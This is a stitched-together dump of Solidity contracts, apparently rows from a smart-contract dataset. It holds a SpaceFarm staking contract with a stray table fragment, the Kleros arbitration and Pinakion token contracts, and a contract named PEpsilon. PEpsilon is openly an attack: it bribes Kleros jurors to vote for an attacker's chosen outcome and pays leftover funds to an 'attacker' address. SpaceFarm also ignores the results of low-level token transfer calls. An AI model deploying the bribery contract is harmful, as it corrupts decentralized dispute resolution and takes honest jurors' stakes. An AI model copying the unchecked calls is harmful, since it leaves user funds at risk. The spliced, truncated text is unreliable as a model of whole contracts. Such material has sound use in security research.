interface IMigratorChef {
function migrate(IERC20 token) external returns (IERC20);
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
contract SpaceFarm is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 amount;
mapping (uint256 => uint256) pendingTesta;
mapping (uint256 => uint256) rewardDebt;
}
struct PoolInfo {
IERC20 jETHToken;
IUniswapV2Pair uniswap;
uint112 startLiquidity;
uint256 allocPoint;
uint256 lastRewardBlock;
uint256 accTestaPerShare;
uint256 debtIndexKey;
uint256 startBlock;
uint256 initStartBlock;
}
address public testa;
address public jTesta;
uint256 public testaPerBlock;
uint256 public jTestaAmount;
uint256 public constant BONUS_MULTIPLIER = 10;
IMigratorChef public migrator;
PoolInfo[] public poolInfo;
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public activeReward = 10;
int public progressive = 0;
int public maxProgressive;
int public minProgressive;
uint256 public numberOfBlock;
uint112 public startLiquidity;
uint112 public currentLiquidity;
AggregatorV3Interface public priceFeed;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
address _testa,
address _jTesta,
address _priceFeed,
int _minProgressive,
int _maxProgressive,
uint256 activateAtBlock,
uint256 _testaPerBlock,
uint256 _jTestaAmount
) public {
testa = _testa;
jTesta = _jTesta;
priceFeed = AggregatorV3Interface(_priceFeed);
minProgressive = _minProgressive;
maxProgressive = _maxProgressive;
numberOfBlock = activateAtBlock;
testaPerBlock = _testaPerBlock;
jTestaAmount = _jTestaAmount;
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "Not EOA");
_;
}
function setjTestaAmount(uint256 _jTestaAmount) public onlyOwner {
jTestaAmount = _jTestaAmount;
}
function setTestaPerBlock(uint256 _testaPerBlock) public onlyOwner{
testaPerBlock = _testaPerBlock;
}
function setProgressive(int _maxProgressive, int _minProgressive) public onlyOwner{
maxProgressive = _maxProgressive;
minProgressive = _minProgressive;
}
function setNumberOfBlock(uint256 _numberOfBlock) public onlyOwner{
numberOfBlock = _numberOfBlock;
}
function setActiveReward(uint256 _activeReward) public onlyOwner{
activeReward = _activeReward;
}
function harvestAndWithdraw(uint256 _pid, uint256 _amount) public nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 jETHSupply = pool.jETHToken.balanceOf(address(this));
require(getCountDown(_pid) <= numberOfBlock);
require((progressive == maxProgressive) && (jETHSupply != 0), "Must have jETHSupply and reach maxProgressive to harvest");
require(user.amount >= _amount, "No jETHToken cannot withdraw");
updatePool(_pid);
uint256 testaAmount = pendingTesta( _pid, msg.sender);
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
user.pendingTesta[pool.debtIndexKey] = 0;
pool.jETHToken.safeTransfer(address(msg.sender), _amount);
safeTestaTransfer(msg.sender, testaAmount);
}
emit Withdraw(msg.sender, _pid, _amount);
}
function harvest(uint256 _pid) public nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 lpSupply = pool.jETHToken.balanceOf(address(this));
require(getCountDown(_pid) <= numberOfBlock);
require((progressive == maxProgressive) && (lpSupply != 0), "Must have jETHSupply and reach maxProgressive to harvest");
require(user.amount > 0, "No jETHToken cannot withdraw");
updatePool(_pid);
uint256 testaAmount = pendingTesta( _pid, msg.sender);
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
user.pendingTesta[pool.debtIndexKey] = 0;
safeTestaTransfer(msg.sender, testaAmount);
}
function firstActivate(uint256 _pid) public onlyEOA nonReentrant {
require(IERC20(jTesta).balanceOf(msg.sender) >= jTestaAmount, "Insufficient jTesta amount");
currentLiquidity = getLiquidity(_pid);
PoolInfo storage pool = poolInfo[_pid];
require(pool.initStartBlock == pool.startBlock);
require(block.number >= pool.initStartBlock, "Cannot activate until the specific block time arrive");
pool.startBlock = getLatestBlock();
pool.startLiquidity = currentLiquidity;
safeTestaTransfer(msg.sender, getTestaReward(_pid));
}
function activate(uint256 _pid) public onlyEOA nonReentrant {
require(IERC20(jTesta).balanceOf(msg.sender) >= jTestaAmount, "Insufficient jTesta amount");
currentLiquidity = getLiquidity(_pid);
PoolInfo storage pool = poolInfo[_pid];
require(pool.initStartBlock != pool.startBlock);
require(getCountDown(_pid) >= numberOfBlock, "Cannot activate until specific amount of blocks pass");
if(currentLiquidity > pool.startLiquidity){
progressive++;
}else{
progressive--;
}
if(progressive <= minProgressive){
progressive = minProgressive;
clearPool(_pid);
}else if(progressive >= maxProgressive){
progressive = maxProgressive;
}
pool.startBlock = getLatestBlock();
pool.startLiquidity = currentLiquidity;
safeTestaTransfer(msg.sender, getTestaReward(_pid));
}
function getTestaPoolBalance() public view returns (uint256){
return IERC20(testa).balanceOf(address(this));
}
function getProgressive() public view returns (int){
return progressive;
}
function getLatestBlock() public view returns (uint256) {
return block.number;
}
function getCountDown(uint256 _pid) public view returns (uint256){
require(getLatestBlock() > getStartedBlock(_pid));
return getLatestBlock().sub(getStartedBlock(_pid));
}
function getStartedBlock(uint256 _pid) public view returns (uint256){
PoolInfo storage pool = poolInfo[_pid];
return pool.startBlock;
}
function getLiquidity(uint256 _pid) public view returns (uint112){
PoolInfo storage pool = poolInfo[_pid];
( , uint112 _reserve1, ) = pool.uniswap.getReserves();
return _reserve1;
}
function getLatestPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(timeStamp > 0, "Round not complete");
return price;
}
function getTestaReward(uint256 _pid) public view returns (uint256){
PoolInfo storage pool = poolInfo[_pid];
(uint112 _reserve0, uint112 _reserve1, ) = pool.uniswap.getReserves();
uint256 reserve = uint256(_reserve0).mul(1e18).div(uint256(_reserve1));
uint256 ethPerDollar = uint256(getLatestPrice()).mul(1e10);
uint256 testaPerDollar = ethPerDollar.mul(1e18).div(reserve);
uint256 _activeReward = activeReward.mul(1e18);
uint256 testaAmount = _activeReward.mul(1e18).div(testaPerDollar);
return testaAmount;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function add(uint256 startBlock, uint256 _allocPoint, address _lpToken, address _jETHToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
IUniswapV2Pair uniswap = IUniswapV2Pair(_lpToken);
( , uint112 _reserve1, ) = uniswap.getReserves();
poolInfo.push(PoolInfo({
jETHToken: IERC20(_jETHToken),
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accTestaPerShare: 0,
debtIndexKey: 0,
uniswap: uniswap,
startLiquidity: _reserve1,
startBlock: startBlock,
initStartBlock: startBlock
}));
}
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
return _to.sub(_from);
}
function clearPool(uint256 _pid) internal {
PoolInfo storage pool = poolInfo[_pid];
pool.accTestaPerShare = 0;
pool.lastRewardBlock = block.number;
pool.debtIndexKey++;
}
function pendingTesta(uint256 _pid, address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accTestaPerShare = pool.accTestaPerShare;
uint256 jETHSupply = pool.jETHToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && jETHSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 testaReward = multiplier.mul(testaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accTestaPerShare = accTestaPerShare.add(testaReward.mul(1e18).div(jETHSupply));
}
uint256 rewardDebt = user.rewardDebt[pool.debtIndexKey];
return user.amount.mul(accTestaPerShare).div(1e18).sub(rewardDebt).add(user.pendingTesta[pool.debtIndexKey]);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 jETHSupply = pool.jETHToken.balanceOf(address(this));
if (jETHSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 testaReward = multiplier.mul(testaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pool.accTestaPerShare = pool.accTestaPerShare.add(testaReward.mul(1e18).div(jETHSupply));
pool.lastRewardBlock = block.number;
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
user.pendingTesta[pool.debtIndexKey] = pendingTesta(_pid, msg.sender);
}
if(_amount > 0) {
pool.jETHToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "No jETHToken cannot withdraw");
updatePool(_pid);
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.jETHToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
user.pendingTesta[pool.debtIndexKey] = 0;
emit Withdraw(msg.sender, _pid, _amount);
}
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.jETHToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt[pool.debtIndexKey] = 0;
}
function safeTestaTransfer(address _to, uint256 _amount) internal {
uint256 testaBal = IERC20(testa).balanceOf(address(this));
if (_amount > testaBal) {
testa.call(abi.encodeWithSignature("transfer(address,uint256)", _to, testaBal));
} else {
testa.call(abi.encodeWithSignature("transfer(address,uint256)", _to, _amount));
}
}
} | 1 | 3,529 |
pragma solidity ^0.4.24;
contract PEpsilon {
Pinakion public pinakion;
Kleros public court;
uint public balance;
uint public disputeID;
uint public desiredOutcome;
uint public epsilon;
bool public settled;
uint public maxAppeals;
mapping (address => uint) public withdraw;
address public attacker;
uint public remainingWithdraw;
modifier onlyBy(address _account) {require(msg.sender == _account); _;}
event AmountShift(uint val, uint epsilon ,address juror);
event Log(uint val, address addr, string message);
constructor(Pinakion _pinakion, Kleros _kleros, uint _disputeID, uint _desiredOutcome, uint _epsilon, uint _maxAppeals) public {
pinakion = _pinakion;
court = _kleros;
disputeID = _disputeID;
desiredOutcome = _desiredOutcome;
epsilon = _epsilon;
attacker = msg.sender;
maxAppeals = _maxAppeals;
}
function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) {
require(pinakion.transferFrom(_from, this, _amount));
balance += _amount;
}
function withdrawJuror() {
withdrawSelect(msg.sender);
}
function withdrawSelect(address _juror) {
uint amount = withdraw[_juror];
withdraw[_juror] = 0;
balance = sub(balance, amount);
remainingWithdraw = sub(remainingWithdraw, amount);
require(pinakion.transfer(_juror, amount));
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function withdrawAttacker(){
require(settled);
if (balance > remainingWithdraw) {
uint amount = balance - remainingWithdraw;
balance = remainingWithdraw;
require(pinakion.transfer(attacker, amount));
}
}
function settle() public {
require(court.disputeStatus(disputeID) == Arbitrator.DisputeStatus.Solved);
require(!settled);
settled = true;
var (, , appeals, choices, , , ,) = court.disputes(disputeID);
if (court.currentRuling(disputeID) != desiredOutcome){
uint amountShift = court.getStakePerDraw();
uint winningChoice = court.getWinningChoice(disputeID, appeals);
uint lastRound = (appeals > maxAppeals ? maxAppeals : appeals);
if (winningChoice != 0){
uint votesLen = 0;
for (uint c = 0; c <= choices; c++) {
votesLen += court.getVoteCount(disputeID, lastRound, c);
}
emit Log(amountShift, 0x0 ,"stakePerDraw");
emit Log(votesLen, 0x0, "votesLen");
uint totalToRedistribute = 0;
uint nbCoherent = 0;
for (uint j=0; j < votesLen; j++){
uint voteRuling = court.getVoteRuling(disputeID, lastRound, j);
address voteAccount = court.getVoteAccount(disputeID, lastRound, j);
emit Log(voteRuling, voteAccount, "voted");
if (voteRuling != winningChoice){
totalToRedistribute += amountShift;
if (voteRuling == desiredOutcome){
withdraw[voteAccount] += amountShift + epsilon;
remainingWithdraw += amountShift + epsilon;
emit AmountShift(amountShift, epsilon, voteAccount);
}
} else {
nbCoherent++;
}
}
uint toRedistribute = (totalToRedistribute - amountShift) / (nbCoherent + 1);
for (j = 0; j < votesLen; j++){
voteRuling = court.getVoteRuling(disputeID, lastRound, j);
voteAccount = court.getVoteAccount(disputeID, lastRound, j);
if (voteRuling == desiredOutcome){
withdraw[voteAccount] += toRedistribute;
remainingWithdraw += toRedistribute;
emit AmountShift(toRedistribute, 0, voteAccount);
}
}
}
}
}
}
pragma solidity ^0.4.24;
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract Pinakion is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
Pinakion public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function Pinakion(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = Pinakion(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
Pinakion cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
Pinakion token = Pinakion(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (Pinakion) {
Pinakion newToken = new Pinakion(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract RNG{
function contribute(uint _block) public payable;
function requestRN(uint _block) public payable {
contribute(_block);
}
function getRN(uint _block) public returns (uint RN);
function getUncorrelatedRN(uint _block) public returns (uint RN) {
uint baseRN=getRN(_block);
if (baseRN==0)
return 0;
else
return uint(keccak256(msg.sender,baseRN));
}
}
contract BlockHashRNG is RNG {
mapping (uint => uint) public randomNumber;
mapping (uint => uint) public reward;
function contribute(uint _block) public payable { reward[_block]+=msg.value; }
function getRN(uint _block) public returns (uint RN) {
RN=randomNumber[_block];
if (RN==0){
saveRN(_block);
return randomNumber[_block];
}
else
return RN;
}
function saveRN(uint _block) public {
if (blockhash(_block) != 0x0)
randomNumber[_block] = uint(blockhash(_block));
if (randomNumber[_block] != 0) {
uint rewardToSend = reward[_block];
reward[_block] = 0;
msg.sender.send(rewardToSend);
}
}
}
contract BlockHashRNGFallback is BlockHashRNG {
function saveRN(uint _block) public {
if (_block<block.number && randomNumber[_block]==0) {
if (blockhash(_block)!=0x0)
randomNumber[_block]=uint(blockhash(_block));
else
randomNumber[_block]=uint(blockhash(block.number-1));
}
if (randomNumber[_block] != 0) {
uint rewardToSend=reward[_block];
reward[_block]=0;
msg.sender.send(rewardToSend);
}
}
}
contract Arbitrable{
Arbitrator public arbitrator;
bytes public arbitratorExtraData;
modifier onlyArbitrator {require(msg.sender==address(arbitrator)); _;}
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _disputeID, address _party, string _evidence);
constructor(Arbitrator _arbitrator, bytes _arbitratorExtraData) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint _disputeID, uint _ruling) public onlyArbitrator {
emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling);
executeRuling(_disputeID,_ruling);
}
function executeRuling(uint _disputeID, uint _ruling) internal;
}
contract Arbitrator{
enum DisputeStatus {Waiting, Appealable, Solved}
modifier requireArbitrationFee(bytes _extraData) {require(msg.value>=arbitrationCost(_extraData)); _;}
modifier requireAppealFee(uint _disputeID, bytes _extraData) {require(msg.value>=appealCost(_disputeID, _extraData)); _;}
event AppealPossible(uint _disputeID);
event DisputeCreation(uint indexed _disputeID, Arbitrable _arbitrable);
event AppealDecision(uint indexed _disputeID, Arbitrable _arbitrable);
function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {}
function arbitrationCost(bytes _extraData) public constant returns(uint fee);
function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable {
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint _disputeID, bytes _extraData) public constant returns(uint fee);
function disputeStatus(uint _disputeID) public constant returns(DisputeStatus status);
function currentRuling(uint _disputeID) public constant returns(uint ruling);
}
contract Kleros is Arbitrator, ApproveAndCallFallBack {
Pinakion public pinakion;
uint public constant NON_PAYABLE_AMOUNT = (2**256 - 2) / 2;
RNG public rng;
uint public arbitrationFeePerJuror = 0.05 ether;
uint16 public defaultNumberJuror = 3;
uint public minActivatedToken = 0.1 * 1e18;
uint[5] public timePerPeriod;
uint public alpha = 2000;
uint constant ALPHA_DIVISOR = 1e4;
uint public maxAppeals = 5;
address public governor;
uint public session = 1;
uint public lastPeriodChange;
uint public segmentSize;
uint public rnBlock;
uint public randomNumber;
enum Period {
Activation,
Draw,
Vote,
Appeal,
Execution
}
Period public period;
struct Juror {
uint balance;
uint atStake;
uint lastSession;
uint segmentStart;
uint segmentEnd;
}
mapping (address => Juror) public jurors;
struct Vote {
address account;
uint ruling;
}
struct VoteCounter {
uint winningChoice;
uint winningCount;
mapping (uint => uint) voteCount;
}
enum DisputeState {
Open,
Resolving,
Executable,
Executed
}
struct Dispute {
Arbitrable arbitrated;
uint session;
uint appeals;
uint choices;
uint16 initialNumberJurors;
uint arbitrationFeePerJuror;
DisputeState state;
Vote[][] votes;
VoteCounter[] voteCounter;
mapping (address => uint) lastSessionVote;
uint currentAppealToRepartition;
AppealsRepartitioned[] appealsRepartitioned;
}
enum RepartitionStage {
Incoherent,
Coherent,
AtStake,
Complete
}
struct AppealsRepartitioned {
uint totalToRedistribute;
uint nbCoherent;
uint currentIncoherentVote;
uint currentCoherentVote;
uint currentAtStakeVote;
RepartitionStage stage;
}
Dispute[] public disputes;
event NewPeriod(Period _period, uint indexed _session);
event TokenShift(address indexed _account, uint _disputeID, int _amount);
event ArbitrationReward(address indexed _account, uint _disputeID, uint _amount);
modifier onlyBy(address _account) {require(msg.sender == _account); _;}
modifier onlyDuring(Period _period) {require(period == _period); _;}
modifier onlyGovernor() {require(msg.sender == governor); _;}
constructor(Pinakion _pinakion, RNG _rng, uint[5] _timePerPeriod, address _governor) public {
pinakion = _pinakion;
rng = _rng;
lastPeriodChange = now;
timePerPeriod = _timePerPeriod;
governor = _governor;
}
function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) {
require(pinakion.transferFrom(_from, this, _amount));
jurors[_from].balance += _amount;
}
function withdraw(uint _value) public {
Juror storage juror = jurors[msg.sender];
require(juror.atStake <= juror.balance);
require(_value <= juror.balance-juror.atStake);
require(juror.lastSession != session);
juror.balance -= _value;
require(pinakion.transfer(msg.sender,_value));
}
function passPeriod() public {
require(now-lastPeriodChange >= timePerPeriod[uint8(period)]);
if (period == Period.Activation) {
rnBlock = block.number + 1;
rng.requestRN(rnBlock);
period = Period.Draw;
} else if (period == Period.Draw) {
randomNumber = rng.getUncorrelatedRN(rnBlock);
require(randomNumber != 0);
period = Period.Vote;
} else if (period == Period.Vote) {
period = Period.Appeal;
} else if (period == Period.Appeal) {
period = Period.Execution;
} else if (period == Period.Execution) {
period = Period.Activation;
++session;
segmentSize = 0;
rnBlock = 0;
randomNumber = 0;
}
lastPeriodChange = now;
NewPeriod(period, session);
}
function activateTokens(uint _value) public onlyDuring(Period.Activation) {
Juror storage juror = jurors[msg.sender];
require(_value <= juror.balance);
require(_value >= minActivatedToken);
require(juror.lastSession != session);
juror.lastSession = session;
juror.segmentStart = segmentSize;
segmentSize += _value;
juror.segmentEnd = segmentSize;
}
function voteRuling(uint _disputeID, uint _ruling, uint[] _draws) public onlyDuring(Period.Vote) {
Dispute storage dispute = disputes[_disputeID];
Juror storage juror = jurors[msg.sender];
VoteCounter storage voteCounter = dispute.voteCounter[dispute.appeals];
require(dispute.lastSessionVote[msg.sender] != session);
require(_ruling <= dispute.choices);
require(validDraws(msg.sender, _disputeID, _draws));
dispute.lastSessionVote[msg.sender] = session;
voteCounter.voteCount[_ruling] += _draws.length;
if (voteCounter.winningCount < voteCounter.voteCount[_ruling]) {
voteCounter.winningCount = voteCounter.voteCount[_ruling];
voteCounter.winningChoice = _ruling;
} else if (voteCounter.winningCount==voteCounter.voteCount[_ruling] && _draws.length!=0) {
voteCounter.winningChoice = 0;
}
for (uint i = 0; i < _draws.length; ++i) {
dispute.votes[dispute.appeals].push(Vote({
account: msg.sender,
ruling: _ruling
}));
}
juror.atStake += _draws.length * getStakePerDraw();
uint feeToPay = _draws.length * dispute.arbitrationFeePerJuror;
msg.sender.transfer(feeToPay);
ArbitrationReward(msg.sender, _disputeID, feeToPay);
}
function penalizeInactiveJuror(address _jurorAddress, uint _disputeID, uint[] _draws) public {
Dispute storage dispute = disputes[_disputeID];
Juror storage inactiveJuror = jurors[_jurorAddress];
require(period > Period.Vote);
require(dispute.lastSessionVote[_jurorAddress] != session);
dispute.lastSessionVote[_jurorAddress] = session;
require(validDraws(_jurorAddress, _disputeID, _draws));
uint penality = _draws.length * minActivatedToken * 2 * alpha / ALPHA_DIVISOR;
penality = (penality < inactiveJuror.balance) ? penality : inactiveJuror.balance;
inactiveJuror.balance -= penality;
TokenShift(_jurorAddress, _disputeID, -int(penality));
jurors[msg.sender].balance += penality / 2;
TokenShift(msg.sender, _disputeID, int(penality / 2));
jurors[governor].balance += penality / 2;
TokenShift(governor, _disputeID, int(penality / 2));
msg.sender.transfer(_draws.length*dispute.arbitrationFeePerJuror);
}
function oneShotTokenRepartition(uint _disputeID) public onlyDuring(Period.Execution) {
Dispute storage dispute = disputes[_disputeID];
require(dispute.state == DisputeState.Open);
require(dispute.session+dispute.appeals <= session);
uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice;
uint amountShift = getStakePerDraw();
